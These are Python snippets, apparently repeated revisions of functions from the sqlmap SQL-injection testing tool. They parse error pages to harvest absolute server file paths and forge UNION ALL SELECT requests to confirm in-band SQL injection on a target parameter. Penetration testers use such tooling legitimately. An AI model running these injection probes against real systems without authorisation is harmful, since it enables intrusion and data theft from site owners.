def parseResponse(page, headers):
"""
@param page: the page to parse to feed the knowledge base htmlFp
(back-end DBMS fingerprint based upon DBMS error messages return
through the web application) list and absFilePaths (absolute file
paths) set.
@todo: in the future parse the page content scrolling an XML file to
identify the dynamic language used and, most, the absolute path,
like for DBMS error messages (ERRORS_XML), see above.
"""
if headers:
headersParser(headers)
if page:
htmlParser(page)
# Detect injectable page absolute system path
# NOTE: this regular expression works if the remote web application
# is written in PHP and debug/error messages are enabled.
absFilePaths = re.findall(" in <b>(.*?)</b> on line", page, re.I)
for absFilePath in absFilePaths:
if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(absFilePath)
def parseResponse(page, headers):
"""
@param page: the page to parse to feed the knowledge base htmlFp
(back-end DBMS fingerprint based upon DBMS error messages return
through the web application) list and absFilePaths (absolute file
paths) set.
@todo: in the future parse the page content scrolling an XML file to
identify the dynamic language used and, most, the absolute path,
like for DBMS error messages (ERRORS_XML), see above.
"""
if headers:
headersParser(headers)
if page:
htmlParser(page)
# Detect injectable page absolute system path
# NOTE: this regular expression works if the remote web application
# is written in PHP and debug/error messages are enabled.
absFilePaths = re.findall(" in <b>(.*?)</b> on line", page, re.I)
for absFilePath in absFilePaths:
if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(absFilePath)
def parseResponse(page, headers):
"""
@param page: the page to parse to feed the knowledge base htmlFp
(back-end DBMS fingerprint based upon DBMS error messages return
through the web application) list and absFilePaths (absolute file
paths) set.
"""
if headers:
headersParser(headers)
if page:
htmlParser(page)
# Detect injectable page absolute system path
# NOTE: this regular expression works if the remote web
# application is written in PHP and debug/error messages are
# enabled
for regex in ( r" in <b>(?P<result>.*?)</b> on line", r"(?:>|\s)(?P<result>[A-Za-z]:[\\/][\w.\\/]*)", r"(?:>|\s)(?P<result>/\w[/\w.]+)" ):
regObj = getCompiledRegex(regex)
for match in regObj.finditer(page):
absFilePath = match.group("result").strip()
page = page.replace(absFilePath, "")
if isWindowsDriveLetterPath(absFilePath):
absFilePath = posixToNtSlashes(absFilePath)
if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(absFilePath)
def parseResponse(page, headers):
"""
@param page: the page to parse to feed the knowledge base htmlFp
(back-end DBMS fingerprint based upon DBMS error messages return
through the web application) list and absFilePaths (absolute file
paths) set.
"""
if headers:
headersParser(headers)
if page:
htmlParser(page)
def parseResponse(page, headers):
"""
@param page: the page to parse to feed the knowledge base htmlFp
(back-end DBMS fingerprint based upon DBMS error messages return
through the web application) list and absFilePaths (absolute file
paths) set.
"""
if headers:
headersParser(headers)
if page:
htmlParser(page)
def __unionPosition(expression, negative=False):
global reqCount
if negative:
negLogMsg = "partial"
else:
negLogMsg = "full"
infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg
infoMsg += "'%s'" % kb.injParameter
logger.info(infoMsg)
# For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is
# affected by an exploitable inband SQL injection vulnerability
for exprPosition in range(0, kb.unionCount):
# Prepare expression with delimiters
randQuery = randomStr()
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
if len(randQueryUnescaped) > len(expression):
blankCount = len(randQueryUnescaped) - len(expression)
expression = (" " * blankCount) + expression
elif len(randQueryUnescaped) < len(expression):
blankCount = len(expression) - len(randQueryUnescaped)
randQueryUnescaped = (" " * blankCount) + randQueryUnescaped
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
payload = agent.payload(newValue=query, negative=negative)
# Perform the request
resultPage = Request.queryPage(payload, content=True)
reqCount += 1
# We have to assure that the randQuery value is not within the
# HTML code of the result page because, for instance, it is there
# when the query is wrong and the back-end DBMS is Microsoft SQL
# server
htmlParsed = htmlParser(resultPage)
if randQuery in resultPage and not htmlParsed:
setUnion(position=exprPosition)
break
if isinstance(kb.unionPosition, int):
infoMsg = "the target url is affected by an exploitable "
infoMsg += "%s inband sql injection vulnerability" % negLogMsg
logger.info(infoMsg)
else:
warnMsg = "the target url is not affected by an exploitable "
warnMsg += "%s inband sql injection vulnerability" % negLogMsg
if negLogMsg == "partial":
warnMsg += ", sqlmap will retrieve the query output "
warnMsg += "through blind sql injection technique"
logger.warn(warnMsg)
def __unionPosition(expression, negative=False):
global reqCount
if negative:
negLogMsg = "partial"
else:
negLogMsg = "full"
infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg
infoMsg += "'%s'" % kb.injParameter
logger.info(infoMsg)
# For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is
# affected by an exploitable inband SQL injection vulnerability
for exprPosition in range(0, kb.unionCount):
# Prepare expression with delimiters
randQuery = randomStr()
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
if len(randQueryUnescaped) > len(expression):
blankCount = len(randQueryUnescaped) - len(expression)
expression = (" " * blankCount) + expression
elif len(randQueryUnescaped) < len(expression):
blankCount = len(expression) - len(randQueryUnescaped)
randQueryUnescaped = (" " * blankCount) + randQueryUnescaped
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
payload = agent.payload(newValue=query, negative=negative)
# Perform the request
resultPage = Request.queryPage(payload, content=True)
reqCount += 1
# We have to assure that the randQuery value is not within the
# HTML code of the result page because, for instance, it is there
# when the query is wrong and the back-end DBMS is Microsoft SQL
# server
htmlParsed = htmlParser(resultPage)
if randQuery in resultPage and not htmlParsed:
setUnion(position=exprPosition)
break
if isinstance(kb.unionPosition, int):
infoMsg = "the target url is affected by an exploitable "
infoMsg += "%s inband sql injection vulnerability" % negLogMsg
logger.info(infoMsg)
else:
warnMsg = "the target url is not affected by an exploitable "
warnMsg += "%s inband sql injection vulnerability" % negLogMsg
if negLogMsg == "partial":
warnMsg += ", sqlmap will retrieve the query output "
warnMsg += "through blind sql injection technique"
logger.warn(warnMsg)
